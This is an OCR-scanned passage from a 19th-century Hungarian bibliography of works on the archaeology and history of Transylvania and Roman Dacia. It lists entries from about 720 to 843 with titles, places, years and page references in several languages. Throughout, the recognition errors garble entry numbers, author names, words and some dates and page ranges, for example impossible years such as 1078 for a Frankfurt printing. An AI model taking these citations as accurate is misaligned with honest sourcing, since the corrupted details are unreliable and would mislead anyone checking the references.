7 :.'<). Söllner f ./. — ). Statistik des Grossfürstenthums Siebenbürgen. Ber-
mannstadt, 1856. 8r. 54—58, 292—293. 1.
721. Spangenberg ( Ernestus — ). Juris Eomani tabulae negotiorum sollem-
nium modo in aere, modo in marmore, modo in charta superstites.
Lipsiae, 1822. 8r. — 355. 1., 7) sz. ; ós : Testimoniorum de militum
honesta missione exempla XVI quae supersunt, VII. tábla. (Volta-
képen Haubold müve. L. Haubold 280. sz.)
722. Spanhemius ( Ezechiel — ). Dissertationes de praestantia et usu nu-
mismatum antiquorum. 2-ik kiadás. Amstelodami, 1671. 4r., főleg:
185, 710, 727,772,834 835. 1. és u. a. czvrn alatt, Amstelaedami,
1717. ívr. i volumen alterum, in quod relatum est, quidquid pertinet
ad illustrationem remin Romanarum. Oj>us posthumum. Edit.
/ aacus Verburgim) II. k., 588. 1.
7wJ3. Sponius (Jacobm — /. Miscellanea eruditae antiquitatis, in quibus
marmora, statuae, musiva, toreumata, gemmae, numismata, Gru-
tero, Ursino, Boissardo, Eeinesio, aliisque antiquorum monumen-
torum collectoribus ignota, et hucusque inedita refemntur ac illu-
strantur. Lugduni, 1685. ívr. — 168—169, 294. 1.
7-Ji. Spruner ( Karolus — i és Theodorus Menke. — Atlas antiquus. Kamii
Spruneri opus tertio edidit Theodorus Menke. Gótba, 1865. kereszt
ívrét. — Fünfte Lieferung, "XXIII. tábla.
l-l'). Stadler (Joh. Mich. — ). Versuche über die uralten römiscben Her-
culesbáder. Wien, 1770. 8r. — 32— 42, 44—45, 48—62, 78- 80,
134—135. 1.
I., Steinbüche] Symeoni, 726—733.
726. Steinbüchel {Antim von Alterthünier in der österreichischen
Monarchie. L. Jahrbücher der TAteratur (Wien) Anzeige Blatt fiir
Wissenschafi and Kunsl 1829. évf., XLV. k.. í-5. sz., 57. 1., 66
67. sz. 1831. évf., LV. k., 55. sz., 33 34. 1., 374 381. sz.; 36. 1.,
387. sz. i ismertetéséi 1. Kellermann 367. az.). Folytatását 1. Seidl
703. sz.
727. Steinburg (Moritz v. —). Ein Schádelfund von Székely-Udvarhely
und Mittheilungen iibereinige andere Schádel. — L. Programm des
evangelischen Gymnasivms in Schassburg l87*/s (Hermannstadt,
1875.) 3 — 36. 1. Lenyomata u. <i. czím alatt, u. <>.. u. a. 8r. (V. ö.
Lenhossék 424. sz.)
— Stieröchsel. I,. Taurinus T r> < > . sz.
728. Storno (Ferencz ) Jelentése erdélyi archaeologiai útjiirúl. — L. Arehaeo-
logiai Értesítő (Pest) II. k. | 1870) 2 5. 1.
729. Stritter (Joannes Gotthilf — ,. Memóriáé populorum, olim ad Danu-
binm, Pontúm Euxinum, Paludem Maeotidem, Caucasum, Maré
Gaspium, et inde magis ad septemtriones incolentium, e scriptori-
bus históriáé Byzantinae erutae et digestae. Petropoli, 1771 — 1779.
í k. ; elszórva , főleg: IV. k., 486 — 495, 497. 199. 1. (Dacica et
Pannonica ex scriptoribus Byzantinis.)
730. Sulzer (Franz Joseph — ). Gescliichte des transalpinischen Daciens.
Wien, 1 781— 1 782. 8r. 3 k. — I. k., 171—271, 3 i5, 346. 1. — II. k..
3—03, 151—286. 1.
731. — leber den wahren Standort der Trajanisehen Brücke. (Eine topo-
grapbiscbe Berichtigung zu seinem gedruckten "VYerke ; aus dessen
binterlassenen Handschriften gezogen, und mit Anmerkungen ver-
seben von Andrea* Thoncáchter). — L. Siebenbiirgische Quartal-
sehrift (Hermannstadt) '1801. (VII.) évf., 81—93. 1.
— Surowiecki. — L. Schafarik 661. sz.
1732. Symeoni f Gábriel — ). Illustratione de í_rl i cpitafíi et medaglie antiebe.
Lione (Lyon), 1558. 'ír. 66. 1.
733.- — Les illustres observations antiques du seigneur Gábriel Symeon
florentin et son dernier vovage d'Italie 1557. Lyon, I5.~>s ír. 03.1.
86 . I.. Szabó— Szentkláray, 734—745.
Sz.
734. Szabó Károly). A bibarczfalvi őskori temetó'-halmok. — L. Archaeo-
logiai Értesítő (Pest) I. k. i 1869) 312—313. 1. (V. ö. m. o., 264. 1.)
— L. IV. rész, 5 sz.
7 35. Szamosközi ' István). Analecta lapidum vetustorum et nonnullarum
in Dacia antiquitatum. Patavii, 1503. 8r. (és : Francofurti ad Moe-
num, 1598. ívr. Lazius Commentariusai [1. 419. sz.] ugyanazon évi
és ugyanofctani kiadásának végén mint függelék.)
736. — Történeti maradványai 1566 — 1603. (Magyar történelmi emlékek
Monumenta Hungáriáé historica]. Második osztály. írók, XXI. k.)
Budapest, 1876. 8r.— I. k., 153. 1. — III. k. (Monumenta. XXIX. k.)
Budapest, 1877. 8r., 24,25— 28, 61— 62, 81—82,266,280—281,293
—294. 1.
737. Szaraniewicz (Isidor — ). Kritische Blicke in die Geschichte der Kar-
paten-Völker im Alterthum und im Mittelalter. Lemberg, 1871-
8r., elszórva.
738. Szathmári Pap f Károly). Demsus. — L. Erdély képekbe(n). Kolozsvár,
évn. — 3. f., 37—40. 1.
739. Szathmáry 'Karoly. P. — ). A Tisza bölcsője. — L. Vasárnapi Újság
(Pest) 1864. (XI.) évi'., 10. sz., 14<i. 1. (rónaszéki bronz tárgyak.)
740. — Még egyszer Apulum felett. — L. Kolozsvári Közlöny 1867. évf.,
1 23. sz, 532—533. 1.
741. — A nagyenyedi egyházkerités. — L. Archaeologiai Közlemények (Pest)
YII. k. (1868) 44—45.1.
742. Székely (Sándor. Aranyos-Rákosi. — ./. Zsidó régiségek Erdélyben. —
L. Nemzeti Társalkodó (Kolozsvár) 1838. évf., II. k., 22. sz., 174 —
I 76. 1.
743. (Jnitária vallás történetei Erdélyben. Kolozsvár, 1839. 8r. —
2—10. 1.
7 i í. Szentiványi (Martinas — ). Dissertatio paralipomenonica rerum
memorabilium Hungáriáé. Ex parte prima decadis tertiae. Tyrna-
viae, 1699. 4r. — 34—35, 36, 37. 39—41. 1.
7 ír,. Szentkláray (Jenő). Török-. l'j-Becse. — L. Orthmayr-Szmtkláray,
Történelmi adattár Csanád-egyházmegye hajdana s jelenéhez (Temes-
vári I. k. (1871) 297- 299. 1. (Plébániák tára. X.)
I., Szentkláray— Taurinus, 746—756. -7
746. Torontáli őstelepek a Tisza mentén. - L. Történelmi és régt
értesítő, a délmagyarországi történelmi és régészeti társulal köz-
lönye (Temesvár) ni. k. (1877) 149 162. 1. (V. ö. u. o., 187.1.)
Lenyomata u. a. czím alatt, h. o., u. a. 8r. | ismertette : ■/. //. Schwic
her, 1. Hunfalvy, TÁterarische Berichte <<us Ungaiit Budapesl [. k.
IS77 186 187.L)
747. Szereday (Antonius — ). Collectio continens tabulas vetustorum, ac
recentiorum monumentorum, quae in templo Álba- olim Juliensi,
nunc Carolinensi in Transilvania sünt, fueruntque locata. A.-Caro-
linae, 1791. 4r. — 3 — 5. 1. (Ismertetve: Síebenbürgische Quartahchrift
[Hermannstadt] 1791. [II. évi., Í29— 431. 1.)
— Szikinczey. ■ — L. //. rész, 29. sz.
7 18. Szilágyi f Sándor). Kolozsvár évrajza, (krónikája). — Ti. Tilsch, Kolozs-
vári Naptár 1848. évf., 21—23.1.
749. — Erdélyország története tekintettel művelődésére. Pest, 1866. 8r. —
I. k., 3—0. 1.
750. — Opitz történeti művéről. — I.. Századok, a magyar történelmi tár-
sulat közlönye (Budapest) XIII. k. (1879) 443. 1.
751. Szombathy / TgnáczJ. Udvarhely szék és Udvarhely város rövid leírása.
Székely-Udvarhely, 1874. 8r. — 62. 1.
77.2. — Kutfőtöredékek a magyarok történelme jász korszakához (Kr. e. 112
— 378. Kr. u.) a metanasta jászok magyar nemzetiségének megálla-
pításával. Győr, 1875. 8r. — Főleg : 24—26, 27—31, 34—35, 10—
i-1,48— 49, 51, 106. 1.
77)3. A metanasta jászok magyar nemzetisége. Győr, 1875. 8r. — Főleg :
26—39. 1.
754. — Dacia meghódítása és a Traján-oszlop képei. Az 1874-ben bevégzett
phototypographiai képgyűjtemény szerint ismerteti — . Győr,
1878. 8r.
77i7,. — A Duna- és Don-vidék világtörténelme a római latin császárok
korában (Kr. e. 30—476. Kr. u.). Győr, 1878. 8r. Főleg : 17—49,
7,6—60, 74—76, 115— 121. 1.
T.
756. Taurinus (Stephanns — . Valódi nevén StieröchseK Stavromachia id
est cruciatorum servile belliim, quod anno ab őrbe redempto p<>st
88 I., Téglás -Thalson, . 757—766.
sesqui millesimum quarto decimo ei Pannoniam et collimitaneas
provincias valde miserabiliter depopulaverat. In quinque libros
summatim digestum. Ejusdem Index eorum, quae in hoc opere visa
sönt annotatu digniora. — L. Joh. Christianus Engel, Monumenta
Ungrica. Viennae, 1 809. 8r. — Főleg : 158, 147 -448, 448, 452—
í-">i. £55, 458: í-65 -466, Í69 í-70. 1. (Első kiadása megjelent u. a.
czím alatt, Viennae Pannóniáé, 1519 [per Joannem Singrenimn h.,
az indexen kivül 38 levél.)
7 Tj 7 . Téglás ( Gábor). Hnnyadból, aug. 4. (Tordos.- Nándor- Vállya s ennek
hármas tagja).— L. Pesti Napló 1876. (XXVII.) óvf., L85, Isii. 187.
sz. (esti kiadás), s ugyanaz „Hunyadmegyei régiségek" és „Hunyad-
megye kökorszaki telepei" czím alatt utánnyomva : Kelet , politikai és
közgazdasági napilap (Kolozsvár) 1 S7(J. (VI.) évi., 183 — 1 S7. sz.,
720, 724, 728, 7:32, 736. 1.
758. - - Torma Zsófia. (Kőkorszakbeli telepek fölfedezője). — L. Fővárosi
Lapok (Budapest) 1876. évf., 194. sz., 913. 1.
759. — A kökorszaki ember nyomai Hunyadmegyében. - - L. A dévai m.
kir. állami főreáltanoda értesítője ac 187ali tanévről (Déva, 1877.)
3 — 31. 1. Lenyomata n. a. czím alatt, n. o., v. a. 8r. -- L. még :
Hunyad, vegyes tartalmú megyei hetiközlöny (Déva) 1X77. (I.) évf,,
21— 22. sz.
760. Tessedik ( Ferencz). Az ócsai és demsusi régi egyházakról. — L. .1
Magyar Tudós Társaság évkönyvei (Buda) II. k. ( 1835) I 18—1 19. 1.
761 . Teutsch (G. D. — ■). Geschichte der siebenbürger Sachsen für das
sáchsische Volk. Kronstadt, 1852. 8r. — I. f., 5 — 9. 1. Ujabb kiadása
u. a. czím alatt, Leipzig, 1874. 8r. — 1 — 5. 1.
7li2. — Abrisz der Geschichte Siebenbürgens. Zweite Auflage. Kronstadt,
1865. 8r. — l.f., L— 11.1.
763. — Archáologisches aus Salzburg. — L. Korréspondenzblatt des Vereines
für siébenbürgische Landeskunde (Hermannstadt) I. ( 1878.) évf., 8. sz.,
94—95. 1. (v. ö. u.o., 10. sz., 111.1.)
7(14. Thalson (Dionys —). Dacia, -- L. Blátterfür Geist, Gemüth und Va-
terlandskunde (Kronstadt) 1841. évf., 30. sz., 223— 225. 1. ; 31. sz.,
234 236. ].: 32. sz., 241 -212. 1.
765. Aufschrift eines römischen Denkmals. — L. Satellit des Siebenbür-
ger Wochenblattes (Kronstadt) 1842. évf., 38. sz., 170—171. 1.
7(i(i. — Archáologisches. - L. Satellit des Siebenbürger Wochenblattes
I., TI i alsón— Timon, 767—777. 8H
(Kronstadt) Isii. évf., 15. sz., 184.1. - 1846. évf., 23. bz., 103. 1. ;
51. sz., 216. 1. ; 58. sz., 242. 1. (Archáologisches von Karlsburg) ;
63. sz... 262 264. 1. 1847. évf., 18. bz., 82. 1. ; 51. sz.. 213
2141.
7(i7. Areh.áolqgische8. L. Transsilvania, Beiblatt zum Siebenbürger
Botén (Hermannstadi I 1845. évf., 64. sz.. 278 279. 1. ; 83. sz.. 354
—355.1. —1847. évf., 57. sz., 256.1. - 1857. évf., 15. sz., 60. 1.
768. Archáologisches. — ■ L. Blatterfür Geist, Gemüth und Vaterlands-
kund, f Kronstadt) 1846. év-., 15. sz.. 348 -350. 1.
769. - Thalson Acknero salutem. — L. Satellit des Siebenbürger Wochen
blattes (Kronstadt) 1846. évf., 37. sz., 158—159. 1.
770. Partié a la guerre (Existenz dreier Dacien). - L. Transsilvania,
Beiblatt zum Siebenbürger Botén (Herniannstadt) 1846. évf., 104.
sz., i73. 1.
771. -- lm Interessé der Wissenschaft. — L. Blatterfür Geist, Gemüth und
Vaterlandskunde (Kronstadt) 1847. évf., 41. sz., 3:21— 3-22. 1.
772. — Római régiség. — L. az Erdélyi Híradó (Kolozsvár) Nemzeti Társal-
kodó czímű rovatában 1847. évf., I. félév, 2i7. sz., 308. 1.
773. Thierry (Amédée — ). Histoire d' Attila et de ses successeurs. Paris,
1856. 8r. — I. k., 247—249, 253. 1. és magyar fordítása : Attila fiai
és utódai történelme. A harmadik javított és bővített kiadás szerint
fordította Szabó Károly. Pest, 1865. 8r. — 11 — 12, 16. 1.
— Thoroczkay (József. Báró ■ — /. L. Fridvaldszky 22 í. sz.
774. Thorwáchter (Andreas — ). Mutbmassungen über die ersten Beförde-
rer des Christenthums in Siebenbürgen. — L. Siebenbürgische Quar-
talschrift (Hermannstadt) 1797. (V.) évf., 1 15 — 159. 1.
— — L. Sulzer 731. sz.
775. Thunmann f M. Johanna —). Untersuchungen über die alté Geschichte
einiger nordiscben Völker. Berlin, 1772. 8r., elszórva, főleg: An-
merkungen über die allgemeine nordische Geschichte des Hrn.
Professors Schlözer. 95 — 220. 1.
77(i. Timon i Sámuel — ). Imago antiquae Hungáriáé, repraesentans terras,
adventus, et res gestas gentis Hunnicae. Cassoviae, 1733. 8r.,
elszórva, főleg : Caput XVI. De Dacia Romána et sacra, 1 3."> — 1 í7. 1.
777. — Additamentum ad imagines antiquae, et novae Hungáriáé. Nyomt.
hely és évn. (T}Tnaviae, 1735?), elszórva, főleg: 36—37, 31) — 16. I.
(epistola IX. terminális disceptationes de Dacia.)
90 I., Tittmann— Torma, 778—786.
77S. Tittmann (Július — ). Ausgewáhlte Dichtungen von Martin Opitz
(Goedeke-Tittmann, Deutsche Dichter des siebzehnten Jahrhun-
derts, I. k.). Leipzig, 1869. 8r. — XXIII., XXIY. 1.
— Tocilescu (Grigonu G. — ). Inschriften aus Bumánien. — L. Benn-
dorf-Hirsnhfeld, Archaeologisch-epigraphische Mitthéilungen aus < Mester-
reich (Wien) III. k. (1879) iO— 46. 1.
77!'. Tomaschek (Wilhelm — ). Miscellen aus der altén Geograpliie. —
L. ZeitschH/t jár die österreichischen Gymnasien (Wien) XVIII. k.
(1867) 706, 709—710. 1.
780. Tomasinus (Jacob. Philippus — ). De donariis ac tabellis votivis liber
singularis (harmadik kiadás) Patavii, 1654. 4r. -- 'M . 115,140,
144, 166, 172,202, 218, 220. 1. (Ugyanazt 1. még: Graeviüs, The-
saurus antiguitatum Romanarum. Venetiis, 1737. ivr. — XII. le, 7<i(i,
822, 824 825, 837, 840, 858; 867, 868. 1.)
781. Toppeltinus f Laurentius — de MedgyesJ. Origines et occasus Transsyl-
vanorum, seu erutae nationes Transsylvaniáé, earumque ultimi
temporis revohitiones, historica narratione breviter comprehensae.
Viennae Austriae, 1 762. 8r., elszórva, főleg : 3 — 4, 6 — 7, 47 — 54,
70—73, 80, 81- -82, 87—89, 132—1:!::. 1.
782. Torma (József). A rómaiaknak a tudós világ előtt eddigelő esméretlen
nyomdokaik nemes Belső-Szolnok vármegyében, figyelem gerjeszté-
sül. — L. Nemzeti Társalkodó (Kolozsvár) 1831. évf., 14. sz., 105—
110. 1.; 15. sz., 113— 117.1.; 16.. sz., 121—125. 1.; 17.sz., 120—
135. 1.; IS. sz., 137—143. 1.
783. Torma (Károly). Archaeologiai levelek. — L. Kolozsvári Közlöny ls<iO.
(V.) évi'., 72. sz., 207. 1. ; 74. sz., 305.1.; 75. sz., 309. 1. (tárcza,
/. levél. Ismertetve: Archaeologiai Közlemények [Pest] III. k. [1863]
174—179. 1.).— U. o., 1865. [X.] évf., 86. sz., 342. 1. i tárcza, 11. levél
F. /<-'. úrhoz Déván. L. Filep 107. sz.)
784. — Piómaiak nyoma Erdély északi részeiben. - L. ./: erdélyi múzeum-
egylet évkönyvei (Kolozsvár) I. k. (1861) 27 — 45. 1.
7*5. — Dacia felosztása a rómaiak alatt. — L. Az erdélyi múzeum-egylet
évkönyvei (Kolozsvár) II. k. (1863) 108 — 114.1. Lenyomata n. a.
i -.mi nini/, a. </., u. a. 8r.
786.—- Tizenkét római felírat Daciából. - - L. Az erdélyi múzeum-egylet
évkönyvei (Kolozsvár) II. k. (1863) 120—134. 1. Lenyomata u. a.
czím alatt. u. o., a. a. 8r.
I., Torma, 787—798. 91
787. — Indítvány az erdélyi múzeum régiségtára ügyében. L. Kolozsvári
Közlöny 1863. (VIII.) évf., I I l. sz., 171. 1. (v. ... u. o., 1865. X.
óvf., 7. sz.. 26. 1.)
788 A.dalék észak-nyugoti Dacia föld- és helyíratához. - L. A magy.
tudom. Akadémia Evkönyvei XI. kötetének 2. darabja (Pest, 1863).
[smertette: Csengery Antal, Budapesti Szemle (Pest) XVHI.k. (1863)
119 122.1.
789. Római felíratok Erdélyből. — L. Archaeologiai Közlemények (P
III. k. 1 1863) I 11 —150. 1. f /. közlemény. Lenyomata u. a. czím alatt,
a. o., a. a. /■>■. ).— V. k. 1 1865) 12 — 28. 1. ( //. közlemény. Lenyomata
a. a. czím alatt, u. o., u. a. ér.). -- VI. k. (1866) 145- 150.1.
///. közlemény. Lenyomata w. a. czím alatt, u. o., u. a. ír. I
790. — Az alsó-ilosvai római állótábor s műemlékei. Helyirati vázlat.
I. közlemény. — L. Az erdélyi múzeum-egylet évkönyvei (Kolozsvár)
in. k. (1866) 10—67.1.
7íM. — A szamosújvári római fürdőkről. — L. .1 magyar orvosok és termé-
szetvizsgálók munkálatai (Pest) X. k. 1 1864 I 77. 81. 1.
792. — Uber einige dacisehe Inscliriften. — L. Mittheilungen der k. k.
Central- Commission zur Erforschung inal Erhaltung der Baudenk-
málé (Wien) X. k. (1865) XC— XCII. 1. Lenyomata u. a. czím alatt,
ii. o., ii. a. Sr. )
7!*:!. — Valami a kő-kor czölöp építményeiről. — L. Henszlmann, Újkor-
szak, heti szemle a tudomány, tanügy, irodalom, művészet és a
fővárosi és vidéki társasélet köréből (Pest) I. (1865.) évf., 100 — 163.
1. (Sacken 651. sz. müvének ismei-tetése.)
794. — ■ A szombathelyi római mécsesen levő eursiv-írás megfejtése. —
L. Archaeologiai Értesítő (Pest) II. k. (1870) S05. 1. (A közlemény
czíme nem a szerzőtől ered.)
795. — A kolozsvári hídkapu falában lelt római feliratos kő ismertetése.—
L. Archaeologiai Értesítő (Pest) IV. k. (1870) 1H2. 1., 111. sz.
7 '.ni. — Adalék Sarmizegetusa és Aquincum felirataihoz. — L. Archaeologiai
Értesítő (Budapest) VIII. k. (1874) 185, 136- 140. 1. ( D bácsi fel-
írat.) V. ö. m. o., IV. k. (1870) 132. 1., 1 1 1. sz.
7'.i7. — Régiségkedvelőinkhez. — L. Magyar Polgár, politikai napilap
(Kolozsvár) 1875. (IX.) évf., 208. sz. V. ö. Finály 211. sz.
798. — A csáklyai őskori telep ismertetése. — L. Erdélyi Múzeum (Kolozs-
vár) VI. k. (1879) 31 32. 1.
92 I.. Torma— Uttech, 799-807.
799. — Neue Inschriften aus Dacien. L. Benndorf-Hirschfdd, Archaeo-
logisch-epigraphisclu Mittheilungen aus Oesterreich (Wien) III. k.
(1879) 86- -122. 1. Lenyomata u. a. czim alatt, u. o., u. a. 8r.
800. Torma (Zsófia). Neolith kőkorszakbeli telepek Hnnyadmegyében. —
L. Erdélyi Múzeum (Kolozsvár) VI. k. (1879) 129—155, 190—192,
193 -21 l. 1. Lenyomata u. a. czím alatt, u. o., u. a. 8r.
— — L. Gooss 245. sz.. Téglás 758. sz.
801 . Török (Antal). A Maros-Portuson felfedezett mozaik padlazatról. —
L. Kolozsvári Közlöny 1864. (IX.) évi'., 1 07. sz., HG. 1. (a «Megyei és
községi élet« czímű rovatban, mint Megykerékről sept. 7. keltezett
levél.)
>■ 1. - Utóhangok Apulum romjai fölötti ásatások érdekében. — L. Ko-
lozsvári Közlöny 1867. (XII.) évf., 111. sz., i-79. 1.
803. Tóth (Márton). Eégészeknek. — L. Kolozsvári Közlöny 1869. (XIV.)
évf., 07. sz., 287. 1.
804. Tóth (Mihály. Dr. — /. Értesítés a Mócson (Erdélyben) talált bronz
régiségek felől. — L. Természettudományi Közlöny (Budapest) X. k.,
108. f. (1878. augusztus) :í2ö. 1. (Tévesen Dr. Jósa Mihály név
alatt.)
805. Tröster (Johannes — ). Das Alt- und Neue Teutsche Dacia, das ist :
neue Besclireibung des Landes Siebenbürgen, stb. Nürnberg, 1666.
12r., elszórva, főleg: 1—70, 110—133, 163—172, 309, 370—377,
102, 105, 406, 410—417. 118, 122 123, 125, 129—434, IU—U6,
149, 453—454,450—400, 400—470. 172—479. 1.
Trsztyánszky (J. — ,. L. Bonbardus 97. sz.
u.
806. Ukert ( F. A. — ). Skytbien und das Land der Geten oder Daker nacb
den Ansichten der Griechen und Römer dargestellt (Geographie der
(iriecben und Römer von den frübesten Zeiten bis auf Ptolemáus.
III. Theiles zweite Abtheilung). Weimar, 1846. 8r., elszórva, főleg:
18, 55, 66, 67- 68, 349, 597—623. 1. (Land der Geten oder Daker).
S07. Uttech f Eduardus — ). De Traiani expeditionibus adversus Dacos.
Dissertatio inauguralis bistorica. Berolini, évn. ( 1841 ) 8r.
I., Vaillant -Verancsics, 808-819. 93
V.
808. Vaillant (Jo. Foy ). Numismata aerea imperatorum, augustarum
el caesarum, in eoloniis el municipiis ex omni modulo peren
Párisiié, 1695. ívr. — II. k., 159—160, 178, 187, 196,206,209,
213, 227. 239. 1.
809. Valerianus (Joannes Pieríua — ). Hieroglyphica, sive desaeris Aej ypti-
orum aliarumque gentium literis, commentariorum libri LVIII.
Francot'urti ad Moenum, 1078. ív. — 265. 1. (lib. XXII.). — E mun-
kához van csatolva Valerianusnak a következű szám alatti műve is.
810. - Antiquitatum Bellunensium sermones quatuor, 113 -114, 118
Ili*. 1. Valerianus e műve az előbbi szám alatt idézetthez van
csatolva.
811. V aradi I Ádám. Kéméndi —). Ezüst régiségeinek rajzai ós fényképei. ■ —
L. A magyar orvosok és természetvizsgálók munkálatai (Pest) X. k.
i 1864) 82. 1.
812. — Uber die in Siebenbürgen im Unter-Albenser Comitate aufgefunde-
neii Mosaikböden. — L. Mittheilungen der k. k. Central- Commission
zur Erforschung und Erhaltung der Baudenkmale (Wien) XII. k.
(1867) XX. 1.
813. Varga ( Ferencz). Osemberkori leletek Uj-Paulison. — L. Történelmi és
régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) II. k. (1876) 91—94. 1. (v. ö. u. o„ 40, 1% 16,
101 — 102. 1.), 107— 108. L, és u. ü.,UI. k. (1877) 24. 1.
slí. — Uj-paulisi kőkori emlékek. — L. Történelmi és régészeti értesítő, &
délmagyarországi történelmi és régészeti társulat közlönye (Temes-
vár) 11. k. i 1876) 122—128. 1. (v. ö. i*. o., 157. 1.)
815. Vass (József). Hunyadmegyei régiségbarátok. — L. Erdélyi múzeum,
a Kolozsvári Magyarfutár melléklete 1856. évf., 16. sz., 127 — 130.1.
siti. - Erdély a rómaiak alatt. Kolozsvár, 1863. 8r.
NI 7. — Emléklapok Kolozsvár előkorából. Kolozsvár, 1865. 8r. — II — 13,
l'.l. 1. — L. még: VI. rész, 10. sz.
81íS. — Dacia. — L. Egyetemes magyar encyclopaedia (Pest) VH. k. (1869)
2:11—230.1.
819. Verancsics i Antal ). Levele Honther Jánoshoz a bereczki tabula ho-
nestae missionis iránt. — L. Verancsics Antal összes munkai (Magyar
94 I., Veszély Wachsmuth, 820-827.
történelmi emlékeit Monumenta Enngariae historica . Második
osztály. írók, IX. k.) Pest, 1860. 8r. — VI. k., 288. L, CXX1 1. sz. és
ugyanazon tárgyban Vagner Bálintíioz u. o., 316. 1., CXXXHI. sz.
M'<>. Veszély (Károly). Károly-Fejérvár. -- L. A károlyfejérvárí római-,
kailwlikus nyilvános fő-gyinnasium ÍJ. tudósítványa Is.y- s. | Kolozs-
vár, évn. 1858 I 5 ti. |s 19, 29. 1.
821. — Gyulafehérvári régiségek. - L. Korunk (Kolozsvár) 1861. évf., 195.
sz. i Ompolyi álnév alatt).
822. — Szünnapi kirándulás Erdély nyngoti hegyei kőző. Kolozsvár, 1 865. 8r.
-2,6, s, 17—18,28—41,43,44^-50,52 53.1. {Ompolyi álnévalatí l.
823. — Pogány sírok Csíkban (nem Csíkban, hanem Három- illetőleg Ud-
varhelyszékben, l.Veszely levelét Szabó Károlyhoz a baróti régiségek
felől Unió, politikai és közgazdasági lap [Kolozsvár 1867. évf., 40.
sz., tárcza). -- L. Unin, politikai és közgazdasági lap (Kolozsvár"
1867. évf., 36. sz. [Ompolyi álnév alatt). V. ö. Századok, a magyar tör-
ténelmi társulat közlönye (Pest) I. k. (1867) 223. 1. (Pogány sírok a
Székelyföldön).
824. Vladerianu ( G. — ). Levele Cipariuhoz Trajanus oszlopa ábrázolatai-
nak Popescu által szándékolt kiadása iránt. — L. Cipariu, Archív n
pentru filológia si istoria (Blasiu) 1867. évf., III. sz., 61 — 62. 1.
V. ... u. o.,64. 1. (Notitie).
825. Vorburg (Joannes Phüippus — ). História Eomano-Germanica (Ex his-
tória Romano-Germanica primitiae, stb.). Francofurti, 1645. ívr. —
I.k., elszórva, főleg: 353—355, 387, 388, 302—305, 413, 418—419,
420, 430, 431,432,440,441,442,443, 444, 445, 451, 454, Í55,
457, 458, 450, 460, 461, 462, 463, 464, f-65, 605. 1. — Il.k .. u. o.,
1050. u-r. — 14, 26, 41—42, 314. stb. 1.
826. Voss (Dr. — ). Die Untersuchung von Hünenbetten bei Klemmen,
Kreis Cammin in Hinter-Pommern. — L. Verhandlungen der Berli-
ner Geséllschaft für Anthropologie, Ethnologie mid Urgeschichte (Ber-
lin) 1877. évf., 309. 1.
W.
^-'7. Wachsmuth f IC. — ). Bastamae. — L. Ersch-Gruber, Allgemeine En-
cyclopádie der IVissenschqften mid Künste (Leipzig) I. Sect. Vili. k.
(1822) Ó2— 63. 1., elszórva.
I., Wagner Wenzel, 828-838.
828. Wagner Franciscus — ). Bistoria Leopoldi magni caesarie au
Augustai Vindelicorum, 1719 1 731 . ívr. — H. k., 341 . 1.
829. Wal (Joannes • /< — ). Mythologiae septentrionalis monumenta epigra-
phica latina (Mythologiae Beptentrionalis monumenta latina, volu-
men prius). Traiecti ad Ehenum, 1847. 8r. 91,128; 177. 243;
182 183,251.
830. Wattenbach ( II'. — ). Jákob Bongars Beise durch Siebenbürgen 1585<
— L. Archív des Vereines für siebenbürgische Landeskunde fHermann-
stadt) N. F. XIÍ. k. (1874) 355, 356, 362, 364. 1.
831. Weidenfelder (Lörincz). Két kiadatlan levele Eoth Keresztélyhez
1 ~~>í. — L. A magyar nyelvmírelö társaság munkáinak első rfan
Szeben. 1796. 8r. — 134—136. 1.
832. "Wellmann ( Andreas — . l'eber den Standort der «Pons vetíts líomu-
norum-. I nmaszgeblielh' Vermuthung, gestützt auf vorgefund
römiscbe Alterthümer am Altnusse unweit Fogarasch. — L. Trans-
silvania, Beiblatt zum Siebenbürger Botén (Hermannstadt) l^íi!.
évi".. 1<>. sz.. 19 -50. 1.
S33. — Das römiscbe Castell bei Héviz und der Schatzgráber. 1>. 5
des Siebenbürger Wochenblattes (Kronstadt) 1844. évf., 72. sz..
301. (voltaképen 305.) 1.
834. — Bericht einer Beise in den Hunyader Comitat. — L. Satellit des
Siebenbürger Wochenblattes (Kronstadt) 1846. évf., 75. sz., 310,
311.1.: 77. sz.. Ml 7. 1.
H35. Wenzel ( Gustav — ). Ergebniss der Untersuebungen iiber die einzigen
bisher bekannten echten römischen Wachstafeln, welche 1788 in
einem altén Bergwerke bei Abrudbánya in Siebenbürgen aufgefun-
den wurden. — L. Schmidl, Oesterreichische Blátter für Literatur
und Kunst (Wien) 1844. évf., -. évnegyed, 5. sz., 33—38. 1.: 6.
43 — 4-5. 1. : 7. sz., 52—56. 1.
836. — Daciscbe Alterthümer. — L. Jahrbücher der Literatur (Wien) CX. k.
I 1845) 236 246. 1. ; i - ., I XI. k.| 1845) 81—119. 1. (Voltaképen
Hene :2mj.. Lajard 412. és Massmann í.js. sz. miivének ismertet
837. — Kritikai fejtegetések Máramaros megye történetéhez. — L. Magyar
Akadémiai Értesítő (Pest) \^~>~. (XVII.)évf. | Új magyar múzeum \<>1.
VII. folyami 317,319. 1.
838. — Abrudbánya. — L. Egyetemes magyar encyclopaéd 1. k. 1S-V'
229 -230. 1.
96 I., Werner — Wilmaims, 839 — 846.
839. Werner t Carl — ). Ueber cinen Fund römischer Consulardenare (frauen-
dorfi=asszonyfalvai lelet). L. Archív des Vereines für siébmbürgi-
sche Landeskunde (Hermannstadt) N. F. XIY. k. ( 1877) I— • Í6. 1.
8 K i. Wesseling f / 'etrus — ). Yetera Romanorum itineraria, sive Antonini
augusti itinerarium, cmn integris Jos. Simleri, Hieron. Suritae, et
And. Schotti notis. Itinerarium Hierosolymitanum et Hieroc1;s
grammatiei Synecdemus. Amstelaedami, 1735. 4r. — 218, 219, 220,
221, 565, 567. 1. (Y. ö. Schoenvisner 077. sz.)
841. Westen (G. — ). Ueber die Hügelgráber hinter Bardócz nachst Baróth
im Udvarhelyei" Stuhl. — L. Archív des Vereines fia siebenbürgische
Landeskunde (Kronstadt) N. F. IX. k. (1870) 18—27. 1.
842. Weszprémi ( Stephanus — ). Succincta medicorum Hungáriáé et
Transilvaniae biographia. Lipsiae et Viennae, 1771 — 17x7. 8r.
í kötet. — Centuria altéra, pars prior (Tomus II.) 136, 141 — 142. 1.
- Centuria altéra, pars posterior (Tomus III.) 271 — 273, 274. 1. —
Centuria tertia (Tomus IV.) 115—423, 432—433. 1.
843. Wieseler f Friedrich — ). Bronzetafeln aus Szamos Újvár in Sieben-
